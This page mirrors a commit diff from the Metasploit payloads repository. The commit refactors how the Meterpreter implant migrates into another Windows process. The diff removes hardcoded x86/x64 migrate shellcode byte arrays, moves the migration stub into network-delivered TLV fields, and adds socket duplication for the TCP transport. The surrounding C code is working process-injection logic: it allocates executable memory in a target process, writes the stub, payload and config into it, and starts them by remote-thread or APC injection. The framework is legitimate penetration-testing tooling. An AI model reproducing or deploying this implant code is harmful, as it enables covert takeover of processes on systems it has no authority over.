mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-08 23:33:07 +01:00
Land #155, Move migration stub to MSF
This commit is contained in:
commit
a43afa7139
@ -31,7 +31,7 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
// Get the target process architecture to inject into
|
||||
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||
// Get the length of the library buffer
|
||||
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
|
||||
// Receive the actual migration library buffer
|
||||
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
// Get the library entry point
|
||||
|
@ -2,63 +2,19 @@
|
||||
#include "base_inject.h"
|
||||
#include "../../../config.h"
|
||||
|
||||
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
||||
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
|
||||
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
|
||||
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
|
||||
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
|
||||
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
|
||||
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
|
||||
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
|
||||
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
|
||||
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
|
||||
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
|
||||
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
|
||||
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
|
||||
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
|
||||
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
|
||||
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
|
||||
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
|
||||
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
|
||||
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
|
||||
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
|
||||
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
|
||||
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
|
||||
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
|
||||
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
|
||||
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
|
||||
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
|
||||
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
|
||||
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
|
||||
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
||||
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// We force 64bit algnment for HANDLES and POINTERS in order
|
||||
// to be cross compatable between x86 and x64 migration.
|
||||
typedef struct _MIGRATECONTEXT
|
||||
DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
|
||||
{
|
||||
union
|
||||
*contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
|
||||
|
||||
if (*contextBuffer == NULL)
|
||||
{
|
||||
HANDLE hEvent;
|
||||
BYTE bPadding1[8];
|
||||
} e;
|
||||
return ERROR_OUTOFMEMORY;
|
||||
}
|
||||
|
||||
union
|
||||
{
|
||||
LPBYTE lpPayload;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
*contextSize = sizeof(COMMONMIGRATCONTEXT);
|
||||
|
||||
WSAPROTOCOL_INFO info;
|
||||
|
||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
|
||||
{
|
||||
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
LPVOID lpMigrateStub = NULL;
|
||||
LPBYTE lpMemory = NULL;
|
||||
LPBYTE lpUuid = NULL;
|
||||
MIGRATECONTEXT ctx = { 0 };
|
||||
LPCOMMONMIGRATECONTEXT ctx = NULL;
|
||||
DWORD ctxSize = 0;
|
||||
DWORD dwMigrateStubLength = 0;
|
||||
DWORD dwPayloadLength = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||
|
||||
// Get the length of the payload buffer
|
||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
|
||||
|
||||
// Receive the actual migration payload buffer
|
||||
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
// Get handles to the updated UUIDs if they're there
|
||||
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
|
||||
|
||||
// Get the migrate stub information
|
||||
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
|
||||
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
|
||||
|
||||
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
|
||||
|
||||
// If we can, get SeDebugPrivilege...
|
||||
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
remote->config_create(remote, lpUuid, &config, &configSize);
|
||||
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
|
||||
|
||||
if (config->session.comms_fd)
|
||||
if (remote->transport->get_migrate_context != NULL)
|
||||
{
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
|
||||
}
|
||||
dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
|
||||
}
|
||||
else
|
||||
{
|
||||
dwResult = get_migrate_context(&ctxSize, &ctx);
|
||||
}
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
|
||||
break;
|
||||
}
|
||||
|
||||
// Create a notification event that we'll use to know when it's safe to exit
|
||||
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (!hEvent)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
|
||||
}
|
||||
|
||||
// Duplicate the event handle for the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
|
||||
}
|
||||
|
||||
// Get the architecture specific process migration stub...
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x86;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x86);
|
||||
}
|
||||
else if (dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x64;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x64);
|
||||
}
|
||||
else
|
||||
{
|
||||
SetLastError(ERROR_BAD_ENVIRONMENT);
|
||||
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
|
||||
break;
|
||||
}
|
||||
dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
|
||||
|
||||
// Allocate memory for the migrate stub, context, payload and configuration block
|
||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!lpMemory)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
|
||||
}
|
||||
|
||||
// Calculate the address of the payload...
|
||||
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
|
||||
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
|
||||
|
||||
// Write the migrate stub to memory...
|
||||
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
|
||||
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
|
||||
}
|
||||
|
||||
// Write the migrate context to memory...
|
||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
|
||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
|
||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
|
||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
|
||||
}
|
||||
|
||||
// Write the migrate payload to memory...
|
||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
|
||||
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
|
||||
}
|
||||
|
||||
// finally write the configuration stub
|
||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
|
||||
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
|
||||
}
|
||||
|
||||
free(ctx);
|
||||
|
||||
// First we try to migrate by directly creating a remote thread in the target process
|
||||
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
|
||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
|
||||
// \x00
|
||||
} MetsrvConfig;
|
||||
|
||||
// We force 64bit alignment for HANDLES and POINTERS in order
|
||||
// to be cross compatible between x86 and x64 migration.
|
||||
typedef struct _COMMONMIGRATECONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
HANDLE hEvent;
|
||||
BYTE bPadding1[8];
|
||||
} e;
|
||||
|
||||
union
|
||||
{
|
||||
LPBYTE lpPayload;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
|
||||
|
||||
#endif
|
||||
|
@ -136,13 +136,15 @@ typedef enum
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
|
@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||
@ -242,6 +243,7 @@ typedef struct _Transport
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||
|
@ -5,6 +5,13 @@
|
||||
#include "../../common/common.h"
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
// TCP-transport specific migration stub.
|
||||
typedef struct _TCPMIGRATECONTEXT
|
||||
{
|
||||
COMMONMIGRATCONTEXT common;
|
||||
WSAPROTOCOL_INFOA info;
|
||||
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
|
||||
|
||||
// These fields aren't defined unless the SDK version is set to something old enough.
|
||||
// So we define them here instead of dancing with SDK versions, allowing us to move on
|
||||
// and still support older versions of Windows.
|
||||
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Create a migration context that is specific to this transport type.
|
||||
* @param transport Transport data to create the configuration from.
|
||||
* @param targetProcessId ID of the process that we will be migrating into.
|
||||
* @param targetProcessHandle Handle to the target process.
|
||||
* @param contextSize Buffer that will receive the size of the generated context.
|
||||
* @param contextBufer Buffer that will receive the generated context.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer)
|
||||
{
|
||||
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
|
||||
|
||||
if (ctx == NULL)
|
||||
{
|
||||
return ERROR_OUTOFMEMORY;
|
||||
}
|
||||
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
|
||||
{
|
||||
free(ctx);
|
||||
return WSAGetLastError();
|
||||
}
|
||||
|
||||
*contextSize = sizeof(TCPMIGRATECONTEXT);
|
||||
*contextBuffer = (PBYTE)ctx;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Creates a new TCP transport instance.
|
||||
* @param config The TCP configuration block.
|
||||
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
|
||||
transport->get_socket = transport_get_socket_tcp;
|
||||
transport->ctx = ctx;
|
||||
transport->comms_last_packet = current_unix_timestamp();
|
||||
transport->get_migrate_context = get_migrate_context_tcp;
|
||||
|
||||
return transport;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user